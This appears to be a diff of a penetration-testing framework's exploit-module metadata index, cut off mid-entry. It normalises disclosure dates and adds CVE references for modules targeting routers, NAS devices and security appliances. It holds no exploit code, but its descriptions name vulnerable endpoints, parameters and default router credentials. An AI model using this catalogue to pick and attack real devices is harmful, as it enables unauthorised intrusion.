"type": "exploit", "author": [ "Michael Messner ", @@ -31386,6 +29299,7 @@ ], "description": "Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP\n interface. Since it is a blind OS command injection vulnerability, there is no\n output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.", "references": [ + "CVE-2014-8361", "OSVDB-94924", "BID-61005", "EDB-26664", @@ -31409,7 +29323,7 @@ "name": "dnaLIMS Admin Module Command Execution", "full_name": "exploit/linux/http/dnalims_admin_exec", "rank": 600, - "disclosure_date": "2017-03-08 00:00:00 -0600", + "disclosure_date": "2017-03-08", "type": "exploit", "author": [ "h00die ", @@ -31438,7 +29352,7 @@ "name": "Docker Daemon - Unprotected TCP Socket Exploit", "full_name": "exploit/linux/http/docker_daemon_tcp", "rank": 600, - "disclosure_date": "2017-07-25 00:00:00 -0500", + "disclosure_date": "2017-07-25", "type": "exploit", "author": [ "Martin Pizala" @@ -31466,7 +29380,7 @@ "name": "Dolibarr ERP/CRM Post-Auth OS Command Injection", "full_name": "exploit/linux/http/dolibarr_cmd_exec", "rank": 600, - "disclosure_date": "2012-04-06 00:00:00 -0500", + "disclosure_date": "2012-04-06", "type": "exploit", "author": [ "Nahuel Grisolia ", @@ -31494,7 +29408,7 @@ "name": "OpenPLI Webif Arbitrary Command Execution", "full_name": "exploit/linux/http/dreambox_openpli_shell", "rank": 500, - "disclosure_date": "2013-02-08 00:00:00 -0600", + "disclosure_date": "2013-02-08", "type": "exploit", "author": [ "Michael Messner " @@ -31524,7 +29438,7 @@ "name": "Endian Firewall Proxy Password Change Command Injection", "full_name": "exploit/linux/http/efw_chpasswd_exec", "rank": 600, - "disclosure_date": "2015-06-28 00:00:00 -0500", + "disclosure_date": "2015-06-28", "type": "exploit", "author": [ "Ben Lincoln" @@ -31554,7 +29468,7 @@ "name": "PowerShellEmpire Arbitrary File Upload (Skywalker)", "full_name": "exploit/linux/http/empire_skywalker", "rank": 600, - "disclosure_date": "2016-10-15 00:00:00 -0500", + "disclosure_date": "2016-10-15", "type": "exploit", "author": [ "Spencer McIntyre", @@ -31583,7 +29497,7 @@ "name": "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection", "full_name": "exploit/linux/http/esva_exec", "rank": 600, - "disclosure_date": "2012-08-16 00:00:00 -0500", + "disclosure_date": "2012-08-16", "type": "exploit", "author": [ "iJoo", @@ -31612,7 +29526,7 @@ "name": "F5 iControl iCall::Script Root Command Execution", "full_name": "exploit/linux/http/f5_icall_cmd", "rank": 600, - "disclosure_date": "2015-09-03 00:00:00 -0500", + "disclosure_date": "2015-09-03", "type": "exploit", "author": [ "tom", @@ -31641,7 +29555,7 @@ "name": "F5 iControl Remote Root Command Execution", "full_name": "exploit/linux/http/f5_icontrol_exec", "rank": 600, - "disclosure_date": "2013-09-17 00:00:00 -0500", + "disclosure_date": "2013-09-17", "type": "exploit", "author": [ "bperry" @@ -31668,7 +29582,7 @@ "name": "Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection", "full_name": "exploit/linux/http/foreman_openstack_satellite_code_exec", "rank": 600, - "disclosure_date": "2013-06-06 00:00:00 -0500", + "disclosure_date": "2013-06-06", "type": "exploit", "author": [ "Ramon de C Valle " @@ -31699,7 +29613,7 @@ "name": "Fritz!Box Webcm Unauthenticated Command Injection", "full_name": "exploit/linux/http/fritzbox_echo_exec", "rank": 600, - "disclosure_date": "2014-02-11 00:00:00 -0600", + "disclosure_date": "2014-02-11", "type": "exploit", "author": [ "Unknown", @@ -31708,6 +29622,7 @@ ], "description": "Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.\n This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the\n following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,\n 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,\n 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270", "references": [ + "CVE-2014-9727", "OSVDB-103289", "BID-65520", "URL-http://www.kapple.de/?p=75", @@ -31734,7 +29649,7 @@ "name": "Github Enterprise Default Session Secret And Deserialization Vulnerability", "full_name": "exploit/linux/http/github_enterprise_secret", "rank": 600, - "disclosure_date": "2017-03-15 00:00:00 -0500", + "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "iblue ", @@ -31763,7 +29678,7 @@ "name": "Gitlist Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/gitlist_exec", "rank": 600, - "disclosure_date": "2014-06-30 00:00:00 -0500", + "disclosure_date": "2014-06-30", "type": "exploit", "author": [ "drone", @@ -31792,7 +29707,7 @@ "name": "GoAhead Web Server LD_PRELOAD Arbitrary Module Load", "full_name": "exploit/linux/http/goahead_ldpreload", "rank": 600, - "disclosure_date": "2017-12-18 00:00:00 -0600", + "disclosure_date": "2017-12-18", "type": "exploit", "author": [ "Daniel Hodson ", @@ -31834,7 +29749,7 @@ "name": "GoAutoDial 3.3 Authentication Bypass / Command Injection", "full_name": "exploit/linux/http/goautodial_3_rce_command_injection", "rank": 600, - "disclosure_date": "2015-04-21 00:00:00 -0500", + "disclosure_date": "2015-04-21", "type": "exploit", "author": [ "Chris McCurley" @@ -31861,7 +29776,7 @@ "name": "Berlios GPSD Format String Vulnerability", "full_name": "exploit/linux/http/gpsd_format_string", "rank": 200, - "disclosure_date": "2005-05-25 00:00:00 -0500", + "disclosure_date": "2005-05-25", "type": "exploit", "author": [ "Yann Senotier " @@ -31911,7 +29826,7 @@ "name": "GroundWork monarch_scan.cgi OS Command Injection", "full_name": "exploit/linux/http/groundwork_monarch_cmd_exec", "rank": 600, - "disclosure_date": "2013-03-08 00:00:00 -0600", + "disclosure_date": "2013-03-08", "type": "exploit", "author": [ "Johannes Greil", @@ -31941,7 +29856,7 @@ "name": "Hadoop YARN ResourceManager Unauthenticated Command Execution", "full_name": "exploit/linux/http/hadoop_unauth_exec", "rank": 600, - "disclosure_date": "2016-10-19 00:00:00 +0000", + "disclosure_date": "2016-10-19", "type": "exploit", "author": [ "cbmixx", @@ -31969,7 +29884,7 @@ "name": "HP System Management Anonymous Access Code Execution", "full_name": "exploit/linux/http/hp_system_management", "rank": 300, - "disclosure_date": "2012-09-01 00:00:00 -0500", + "disclosure_date": "2012-09-01", "type": "exploit", "author": [ "agix" @@ -31996,7 +29911,7 @@ "name": "HP VAN SDN Controller Root Command Injection", "full_name": "exploit/linux/http/hp_van_sdn_cmd_inject", "rank": 600, - "disclosure_date": "2018-06-25 00:00:00 +0000", + "disclosure_date": "2018-06-25", "type": "exploit", "author": [ "Matt Bergin", @@ -32010,7 +29925,7 @@ "is_server": true, "is_client": false, "platform": "Linux,Unix", - "arch": "x86, x64", + "arch": "cmd, x86, x64", "rport": "8081", "targets": [ "Unix In-Memory", @@ -32025,7 +29940,7 @@ "name": "Huawei HG532n Command Injection", "full_name": "exploit/linux/http/huawei_hg532n_cmdinject", "rank": 600, - "disclosure_date": "2017-04-15 00:00:00 -0500", + "disclosure_date": "2017-04-15", "type": "exploit", "author": [ "Ahmed S. Darwish " @@ -32051,7 +29966,7 @@ "name": "IBM QRadar SIEM Unauthenticated Remote Code Execution", "full_name": "exploit/linux/http/ibm_qradar_unauth_rce", "rank": 600, - "disclosure_date": "2018-05-28 00:00:00 +0000", + "disclosure_date": "2018-05-28", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -32083,7 +29998,7 @@ "name": "IPFire Bash Environment Variable Injection (Shellshock)", "full_name": "exploit/linux/http/ipfire_bashbug_exec", "rank": 600, - "disclosure_date": "2014-09-29 00:00:00 -0500", + "disclosure_date": "2014-09-29", "type": "exploit", "author": [ "h00die ", @@ -32112,7 +30027,7 @@ "name": "IPFire proxy.cgi RCE", "full_name": "exploit/linux/http/ipfire_oinkcode_exec", "rank": 600, - "disclosure_date": "2017-06-09 00:00:00 -0500", + "disclosure_date": "2017-06-09", "type": "exploit", "author": [ "h00die ", @@ -32120,6 +30035,7 @@ ], "description": "IPFire, a free linux based open source firewall distribution,\n version < 2.19 Update Core 110 contains a remote command execution\n vulnerability in the ids.cgi page in the OINKCODE field.", "references": [ + "CVE-2017-9757", "EDB-42149" ], "is_server": true, @@ -32139,7 +30055,7 @@ "name": "IPFire proxy.cgi RCE", "full_name": "exploit/linux/http/ipfire_proxy_exec", "rank": 600, - "disclosure_date": "2016-05-04 00:00:00 -0500", + "disclosure_date": "2016-05-04", "type": "exploit", "author": [ "h00die ", @@ -32167,7 +30083,7 @@ "name": "Kaltura Remote PHP Code Execution over Cookie", "full_name": "exploit/linux/http/kaltura_unserialize_cookie_rce", "rank": 600, - "disclosure_date": "2017-09-12 00:00:00 -0500", + "disclosure_date": "2017-09-12", "type": "exploit", "author": [ "Robin Verton ", @@ -32194,7 +30110,7 @@ "name": "Kaltura Remote PHP Code Execution", "full_name": "exploit/linux/http/kaltura_unserialize_rce", "rank": 600, - "disclosure_date": "2016-03-15 00:00:00 -0500", + "disclosure_date": "2016-03-15", "type": "exploit", "author": [ "Security-Assessment.com", @@ -32221,7 +30137,7 @@ "name": "Kloxo SQL Injection and Remote Code Execution", "full_name": "exploit/linux/http/kloxo_sqli", "rank": 0, - "disclosure_date": "2014-01-28 00:00:00 -0600", + "disclosure_date": "2014-01-28", "type": "exploit", "author": [ "Unknown", @@ -32250,7 +30166,7 @@ "name": "LifeSize UVC Authenticated RCE via Ping", "full_name": "exploit/linux/http/lifesize_uvc_ping_rce", "rank": 600, - "disclosure_date": "2014-03-21 00:00:00 -0500", + "disclosure_date": "2014-03-21", "type": "exploit", "author": [ "Brandon Perry " @@ -32276,7 +30192,7 @@ "name": "Linksys WRT54 Access Point apply.cgi Buffer Overflow", "full_name": "exploit/linux/http/linksys_apply_cgi", "rank": 500, - "disclosure_date": "2005-09-13 00:00:00 -0500", + "disclosure_date": "2005-09-13", "type": "exploit", "author": [ "Raphael Rigo ", @@ -32311,7 +30227,7 @@ "name": "Linksys E1500/E2500 apply.cgi Remote Command Injection", "full_name": "exploit/linux/http/linksys_e1500_apply_exec", "rank": 600, - "disclosure_date": "2013-02-05 00:00:00 -0600", + "disclosure_date": "2013-02-05", "type": "exploit", "author": [ "Michael Messner ", @@ -32342,7 +30258,7 @@ "name": "Linksys E-Series TheMoon Remote Command Injection", "full_name": "exploit/linux/http/linksys_themoon_exec", "rank": 600, - "disclosure_date": "2014-02-13 00:00:00 -0600", + "disclosure_date": "2014-02-13", "type": "exploit", "author": [ "Johannes Ullrich", @@ -32379,7 +30295,7 @@ "name": "Linksys Devices pingstr Remote Command Injection", "full_name": "exploit/linux/http/linksys_wrt110_cmd_exec", "rank": 600, - "disclosure_date": "2013-07-12 00:00:00 -0500", + "disclosure_date": "2013-07-12", "type": "exploit", "author": [ "Craig Young", @@ -32409,7 +30325,7 @@ "name": "Linksys WRT160nv2 apply.cgi Remote Command Injection", "full_name": "exploit/linux/http/linksys_wrt160nv2_apply_exec", "rank": 600, - "disclosure_date": "2013-02-11 00:00:00 -0600", + "disclosure_date": "2013-02-11", "type": "exploit", "author": [ "Michael Messner ", @@ -32440,7 +30356,7 @@ "name": "Linksys WRT54GL apply.cgi Command Execution", "full_name": "exploit/linux/http/linksys_wrt54gl_apply_exec", "rank": 0, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "exploit", "author": [ "Michael Messner ", @@ -32448,6 +30364,7 @@ ], "description": "Some Linksys Routers are vulnerable to an authenticated OS command injection in\n the Web Interface. Default credentials are admin/admin or admin/password. Since it\n is a blind os command injection vulnerability, there is no output for the executed\n command when using the cmd generic payload. A ping command against a controlled\n system could be used for testing purposes. The user must be prudent when using this\n module since it modifies the router configuration while exploitation, even when it\n tries to restore previous values.", "references": [ + "CVE-2005-2799", "OSVDB-89912", "BID-57459", "EDB-24202", @@ -32471,7 +30388,7 @@ "name": "Linksys WVBR0-25 User-Agent Command Execution", "full_name": "exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth", "rank": 600, - "disclosure_date": "2017-12-13 00:00:00 -0600", + "disclosure_date": "2017-12-13", "type": "exploit", "author": [ "HeadlessZeke" @@ -32499,7 +30416,7 @@ "name": "Logsign Remote Command Injection", "full_name": "exploit/linux/http/logsign_exec", "rank": 600, - "disclosure_date": "2017-02-26 00:00:00 -0600", + "disclosure_date": "2017-02-26", "type": "exploit", "author": [ "Mehmet Ince " @@ -32525,7 +30442,7 @@ "name": "D-Link/TRENDnet NCC Service Command Injection", "full_name": "exploit/linux/http/multi_ncc_ping_exec", "rank": 300, - "disclosure_date": "2015-02-26 00:00:00 -0600", + "disclosure_date": "2015-02-26", "type": "exploit", "author": [ "Peter Adkins ", @@ -32558,7 +30475,7 @@ "name": "Mutiny 5 Arbitrary File Upload", "full_name": "exploit/linux/http/mutiny_frontend_upload", "rank": 600, - "disclosure_date": "2013-05-15 00:00:00 -0500", + "disclosure_date": "2013-05-15", "type": "exploit", "author": [ "juan vazquez " @@ -32587,7 +30504,7 @@ "name": "MVPower DVR Shell Unauthenticated Command Execution", "full_name": "exploit/linux/http/mvpower_dvr_shell_exec", "rank": 600, - "disclosure_date": "2015-08-23 00:00:00 -0500", + "disclosure_date": "2015-08-23", "type": "exploit", "author": [ "Paul Davies (UHF-Satcom)", @@ -32616,7 +30533,7 @@ "name": "Nagios XI Chained Remote Code Execution", "full_name": "exploit/linux/http/nagios_xi_chained_rce", "rank": 600, - "disclosure_date": "2016-03-06 00:00:00 -0600", + "disclosure_date": "2016-03-06", "type": "exploit", "author": [ "Francesco Oddo", @@ -32643,7 +30560,7 @@ "name": "Nagios XI Chained Remote Code Execution", "full_name": "exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo", "rank": 0, - "disclosure_date": "2018-04-17 00:00:00 +0000", + "disclosure_date": "2018-04-17", "type": "exploit", "author": [ "Cale Smith", @@ -32676,7 +30593,7 @@ "name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE", "full_name": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", "rank": 600, - "disclosure_date": "2013-06-05 00:00:00 -0500", + "disclosure_date": "2013-06-05", "type": "exploit", "author": [ "Mumbai", @@ -32703,7 +30620,7 @@ "name": "Netgear DGN1000B setup.cgi Remote Command Execution", "full_name": "exploit/linux/http/netgear_dgn1000b_setup_exec", "rank": 600, - "disclosure_date": "2013-02-06 00:00:00 -0600", + "disclosure_date": "2013-02-06", "type": "exploit", "author": [ "Michael Messner ", @@ -32734,7 +30651,7 @@ "name": "Netgear DGN2200B pppoe.cgi Remote Command Execution", "full_name": "exploit/linux/http/netgear_dgn2200b_pppoe_exec", "rank": 0, - "disclosure_date": "2013-02-15 00:00:00 -0600", + "disclosure_date": "2013-02-15", "type": "exploit", "author": [ "Michael Messner ", @@ -32765,7 +30682,7 @@ "name": "Netgear DGN2200 dnslookup.cgi Command Injection", "full_name": "exploit/linux/http/netgear_dnslookup_cmd_exec", "rank": 600, - "disclosure_date": "2017-02-25 00:00:00 -0600", + "disclosure_date": "2017-02-25", "type": "exploit", "author": [ "thecarterb", @@ -32793,7 +30710,7 @@ "name": "Netgear R7000 and R6400 cgi-bin Command Injection", "full_name": "exploit/linux/http/netgear_r7000_cgibin_exec", "rank": 600, - "disclosure_date": "2016-12-06 00:00:00 -0600", + "disclosure_date": "2016-12-06", "type": "exploit", "author": [ "thecarterb", @@ -32824,7 +30741,7 @@ "name": "NETGEAR ReadyNAS Perl Code Evaluation", "full_name": "exploit/linux/http/netgear_readynas_exec", "rank": 0, - "disclosure_date": "2013-07-12 00:00:00 -0500", + "disclosure_date": "2013-07-12", "type": "exploit", "author": [ "Craig Young", @@ -32855,7 +30772,7 @@ "name": "NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow", "full_name": "exploit/linux/http/netgear_wnr2000_rce", "rank": 600, - "disclosure_date": "2016-12-20 00:00:00 -0600", + "disclosure_date": "2016-12-20", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -32884,7 +30801,7 @@ "name": "Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow", "full_name": "exploit/linux/http/nginx_chunked_size", "rank": 500, - "disclosure_date": "2013-05-07 00:00:00 -0500", + "disclosure_date": "2013-05-07", "type": "exploit", "author": [ "Greg MacManus", @@ -32916,7 +30833,7 @@ "name": "NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution", "full_name": "exploit/linux/http/nuuo_nvrmini_auth_rce", "rank": 600, - "disclosure_date": "2016-08-04 00:00:00 -0500", + "disclosure_date": "2016-08-04", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -32948,7 +30865,7 @@ "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution", "full_name": "exploit/linux/http/nuuo_nvrmini_unauth_rce", "rank": 600, - "disclosure_date": "2016-08-04 00:00:00 -0500", + "disclosure_date": "2016-08-04", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -32979,7 +30896,7 @@ "name": "op5 v7.1.9 Configuration Command Execution", "full_name": "exploit/linux/http/op5_config_exec", "rank": 600, - "disclosure_date": "2016-04-08 00:00:00 -0500", + "disclosure_date": "2016-04-08", "type": "exploit", "author": [ "h00die ", @@ -33007,7 +30924,7 @@ "name": "Openfiler v2.x NetworkCard Command Execution", "full_name": "exploit/linux/http/openfiler_networkcard_exec", "rank": 600, - "disclosure_date": "2012-09-04 00:00:00 -0500", + "disclosure_date": "2012-09-04", "type": "exploit", "author": [ "Brendan Coles " @@ -33036,7 +30953,7 @@ "name": "Pandora FMS Remote Code Execution", "full_name": "exploit/linux/http/pandora_fms_exec", "rank": 600, - "disclosure_date": "2014-01-29 00:00:00 -0600", + "disclosure_date": "2014-01-29", "type": "exploit", "author": [ "xistence " @@ -33062,7 +30979,7 @@ "name": "Pandora FMS Default Credential / SQLi Remote Code Execution", "full_name": "exploit/linux/http/pandora_fms_sqli", "rank": 600, - "disclosure_date": "2014-02-01 00:00:00 -0600", + "disclosure_date": "2014-02-01", "type": "exploit", "author": [ "Lincoln ", @@ -33090,7 +31007,7 @@ "name": "Palo Alto Networks readSessionVarsFromFile() Session Corruption", "full_name": "exploit/linux/http/panos_readsessionvars", "rank": 600, - "disclosure_date": "2017-12-11 00:00:00 -0600", + "disclosure_date": "2017-12-11", "type": "exploit", "author": [ "Philip Pettersson ", @@ -33119,7 +31036,7 @@ "name": "PeerCast URL Handling Buffer Overflow", "full_name": "exploit/linux/http/peercast_url", "rank": 200, - "disclosure_date": "2006-03-08 00:00:00 -0600", + "disclosure_date": "2006-03-08", "type": "exploit", "author": [ "MC " @@ -33147,7 +31064,7 @@ "name": "PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution", "full_name": "exploit/linux/http/pineapp_ldapsyncnow_exec", "rank": 600, - "disclosure_date": "2013-07-26 00:00:00 -0500", + "disclosure_date": "2013-07-26", "type": "exploit", "author": [ "Dave Weinstein", @@ -33175,7 +31092,7 @@ "name": "PineApp Mail-SeCure livelog.html Arbitrary Command Execution", "full_name": "exploit/linux/http/pineapp_livelog_exec", "rank": 600, - "disclosure_date": "2013-07-26 00:00:00 -0500", + "disclosure_date": "2013-07-26", "type": "exploit", "author": [ "Unknown", @@ -33203,7 +31120,7 @@ "name": "PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution", "full_name": "exploit/linux/http/pineapp_test_li_conn_exec", "rank": 600, - "disclosure_date": "2013-07-26 00:00:00 -0500", + "disclosure_date": "2013-07-26", "type": "exploit", "author": [ "Dave Weinstein", @@ -33211,6 +31128,7 @@ ], "description": "This module exploits a command injection vulnerability on PineApp Mail-SeCure\n 3.70. The vulnerability exists on the test_li_connection.php component, due to the\n insecure usage of the system() php function. This module has been tested successfully\n on PineApp Mail-SeCure 3.70.", "references": [ + "CVE-2013-6829", "ZDI-13-188", "OSVDB-95782" ], @@ -33231,14 +31149,14 @@ "name": "Hak5 WiFi Pineapple Preconfiguration Command Injection", "full_name": "exploit/linux/http/pineapple_bypass_cmdinject", "rank": 600, - "disclosure_date": "2015-08-01 00:00:00 -0500", + "disclosure_date": "2015-08-01", "type": "exploit", "author": [ "catatonicprime" ], "description": "This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.\n These devices may typically be identified by their SSID beacons of 'Pineapple5_....';\n Provided as part of the TospoVirus workshop at DEFCON23.", "references": [ - + "CVE-2015-4624" ], "is_server": true, "is_client": false, @@ -33257,7 +31175,7 @@ "name": "Hak5 WiFi Pineapple Preconfiguration Command Injection", "full_name": "exploit/linux/http/pineapple_preconfig_cmdinject", "rank": 600, - "disclosure_date": "2015-08-01 00:00:00 -0500", + "disclosure_date": "2015-08-01", "type": "exploit", "author": [ "catatonicprime" @@ -33283,7 +31201,7 @@ "name": "RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution", "full_name": "exploit/linux/http/piranha_passwd_exec", "rank": 600, - "disclosure_date": "2000-04-04 00:00:00 -0500", + "disclosure_date": "2000-04-04", "type": "exploit", "author": [ "aushack " @@ -33314,7 +31232,7 @@ "name": "Raidsonic NAS Devices Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/raidsonic_nas_ib5220_exec_noauth", "rank": 0, - "disclosure_date": "2013-02-04 00:00:00 -0600", + "disclosure_date": "2013-02-04", "type": "exploit", "author": [ "Michael Messner ", @@ -33344,7 +31262,7 @@ "name": "Railo Remote File Include", "full_name": "exploit/linux/http/railo_cfml_rfi", "rank": 600, - "disclosure_date": "2014-08-26 00:00:00 -0500", + "disclosure_date": "2014-08-26", "type": "exploit", "author": [ "Bryan Alexander ", @@ -33372,7 +31290,7 @@ "name": "Rancher Server - Docker Exploit", "full_name": "exploit/linux/http/rancher_server", "rank": 600, - "disclosure_date": "2017-07-27 00:00:00 -0500", + "disclosure_date": "2017-07-27", "type": "exploit", "author": [ "Martin Pizala" @@ -33398,7 +31316,7 @@ "name": "Realtek SDK Miniigd UPnP SOAP Command Execution", "full_name": "exploit/linux/http/realtek_miniigd_upnp_exec_noauth", "rank": 300, - "disclosure_date": "2015-04-24 00:00:00 -0500", + "disclosure_date": "2015-04-24", "type": "exploit", "author": [ "Ricky \"HeadlessZeke\" Lawshae", @@ -33429,7 +31347,7 @@ "name": "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution", "full_name": "exploit/linux/http/riverbed_netprofiler_netexpress_exec", "rank": 600, - "disclosure_date": "2016-06-27 00:00:00 -0500", + "disclosure_date": "2016-06-27", "type": "exploit", "author": [ "Francesco Oddo " @@ -33455,7 +31373,7 @@ "name": "Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload", "full_name": "exploit/linux/http/samsung_srv_1670d_upload_exec", "rank": 400, - "disclosure_date": "2017-03-14 00:00:00 -0500", + "disclosure_date": "2017-03-14", "type": "exploit", "author": [ "Omar Mezrag ", @@ -33486,7 +31404,7 @@ "name": "Seagate Business NAS Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/seagate_nas_php_exec_noauth", "rank": 300, - "disclosure_date": "2015-03-01 00:00:00 -0600", + "disclosure_date": "2015-03-01", "type": "exploit", "author": [ "OJ Reeves " @@ -33517,7 +31435,7 @@ "name": "Supermicro Onboard IPMI close_window.cgi Buffer Overflow", "full_name": "exploit/linux/http/smt_ipmi_close_window_bof", "rank": 400, - "disclosure_date": "2013-11-06 00:00:00 -0600", + "disclosure_date": "2013-11-06", "type": "exploit", "author": [ "hdm ", @@ -33545,13 +31463,15 @@ "name": "Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution", "full_name": "exploit/linux/http/sophos_wpa_iface_exec", "rank": 600, - "disclosure_date": "2014-04-08 00:00:00 -0500", + "disclosure_date": "2014-04-08", "type": "exploit", "author": [ "Brandon Perry " ], "description": "This module takes advantage of two vulnerabilities in order to gain remote code execution as root\n as an otherwise non-privileged authorized user. By taking advantage of a mass assignment\n vulnerability that allows an unprivileged authenticated user to change the administrator's\n password hash, the module updates the password to login as the admin to reach the second vulnerability.\n No server-side sanitization is done on values passed when configuring a static network interface.\n This allows an administrator user to run arbitrary commands in the context of the web application,\n which is root when configuring the network interface. This module will inadvertently delete\n any other users that may have been present as a side effect of changing the admin's password.", "references": [ + "CVE-2014-2849", + "CVE-2014-2850", "URL-http://www.zerodayinitiative.com/advisories/ZDI-14-069/" ], "is_server": true, @@ -33571,7 +31491,7 @@ "name": "Sophos Web Protection Appliance sblistpack Arbitrary Command Execution", "full_name": "exploit/linux/http/sophos_wpa_sblistpack_exec", "rank": 600, - "disclosure_date": "2013-09-06 00:00:00 -0500", + "disclosure_date": "2013-09-06", "type": "exploit", "author": [ "Francisco Falcon", @@ -33602,7 +31522,7 @@ "name": "Supervisor XML-RPC Authenticated Remote Code Execution", "full_name": "exploit/linux/http/supervisor_xmlrpc_exec", "rank": 600, - "disclosure_date": "2017-07-19 00:00:00 -0500", + "disclosure_date": "2017-07-19", "type": "exploit", "author": [ "Calum Hutton " @@ -33632,7 +31552,7 @@ "name": "Symantec Messaging Gateway Remote Code Execution", "full_name": "exploit/linux/http/symantec_messaging_gateway_exec", "rank": 600, - "disclosure_date": "2017-04-26 00:00:00 -0500", + "disclosure_date": "2017-04-26", "type": "exploit", "author": [ "Mehmet Ince " @@ -33659,7 +31579,7 @@ "name": "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection", "full_name": "exploit/linux/http/symantec_web_gateway_exec", "rank": 600, - "disclosure_date": "2012-05-17 00:00:00 -0500", + "disclosure_date": "2012-05-17", "type": "exploit", "author": [ "Unknown", @@ -33690,7 +31610,7 @@ "name": "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability", "full_name": "exploit/linux/http/symantec_web_gateway_file_upload", "rank": 600, - "disclosure_date": "2012-05-17 00:00:00 -0500", + "disclosure_date": "2012-05-17", "type": "exploit", "author": [ "Unknown", @@ -33721,7 +31641,7 @@ "name": "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability", "full_name": "exploit/linux/http/symantec_web_gateway_lfi", "rank": 600, - "disclosure_date": "2012-05-17 00:00:00 -0500", + "disclosure_date": "2012-05-17", "type": "exploit", "author": [ "Unknown", @@ -33752,7 +31672,7 @@ "name": "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection", "full_name": "exploit/linux/http/symantec_web_gateway_pbcontrol", "rank": 600, - "disclosure_date": "2012-07-23 00:00:00 -0500", + "disclosure_date": "2012-07-23", "type": "exploit", "author": [ "muts", @@ -33783,7 +31703,7 @@ "name": "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", "full_name": "exploit/linux/http/symantec_web_gateway_restore", "rank": 600, - "disclosure_date": "2014-12-16 00:00:00 -0600", + "disclosure_date": "2014-12-16", "type": "exploit", "author": [ "Egidio Romano", @@ -33814,7 +31734,7 @@ "name": "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", "full_name": "exploit/linux/http/synology_dsm_sliceupload_exec_noauth", "rank": 600, - "disclosure_date": "2013-10-31 00:00:00 -0500", + "disclosure_date": "2013-10-31", "type": "exploit", "author": [ "Markus Wulftange" @@ -33841,7 +31761,7 @@ "name": "Tiki-Wiki CMS Calendar Command Execution", "full_name": "exploit/linux/http/tiki_calendar_exec", "rank": 600, - "disclosure_date": "2016-06-06 00:00:00 -0500", + "disclosure_date": "2016-06-06", "type": "exploit", "author": [ "h00die ", @@ -33869,14 +31789,14 @@ "name": "TP-Link SC2020n Authenticated Telnet Injection", "full_name": "exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection", "rank": 600, - "disclosure_date": "2015-12-20 00:00:00 -0600", + "disclosure_date": "2015-12-20", "type": "exploit", "author": [ "Nicholas Starke " ], "description": "The TP-Link SC2020n Network Video Camera is vulnerable\n to OS Command Injection via the web interface. By firing up the telnet daemon,\n it is possible to gain root on the device. The vulnerability\n exists at /cgi-bin/admin/servetest, which is accessible with credentials.", "references": [ - + "CVE-2013-2578" ], "is_server": true, "is_client": false, @@ -33895,7 +31815,7 @@ "name": "Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064", "full_name": "exploit/linux/http/tr064_ntpserver_cmdinject", "rank": 300, - "disclosure_date": "2016-11-07 00:00:00 -0600", + "disclosure_date": "2016-11-07", "type": "exploit", "author": [ "Kenzo", @@ -33906,6 +31826,7 @@ ], "description": "Broadband DSL modems manufactured by Zyxel and distributed by some\n European ISPs are vulnerable to a command injection vulnerability when setting\n the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In\n the tested case, no authentication is required to set this value on affected\n DSL modems.\n\n This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.", "references": [ + "CVE-2016-10372", "EDB-40740", "URL-https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/", "URL-https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759", @@ -33929,7 +31850,7 @@ "name": "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", "full_name": "exploit/linux/http/trend_micro_imsva_exec", "rank": 600, - "disclosure_date": "2017-01-15 00:00:00 -0600", + "disclosure_date": "2017-01-15", "type": "exploit", "author": [ "Mehmet Ince " @@ -33956,7 +31877,7 @@ "name": "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", "full_name": "exploit/linux/http/trendmicro_imsva_widget_exec", "rank": 600, - "disclosure_date": "2017-10-07 00:00:00 -0500", + "disclosure_date": "2017-10-07", "type": "exploit", "author": [ "mr_me ", @@ -33984,14 +31905,14 @@ "name": "Trend Micro Smart Protection Server 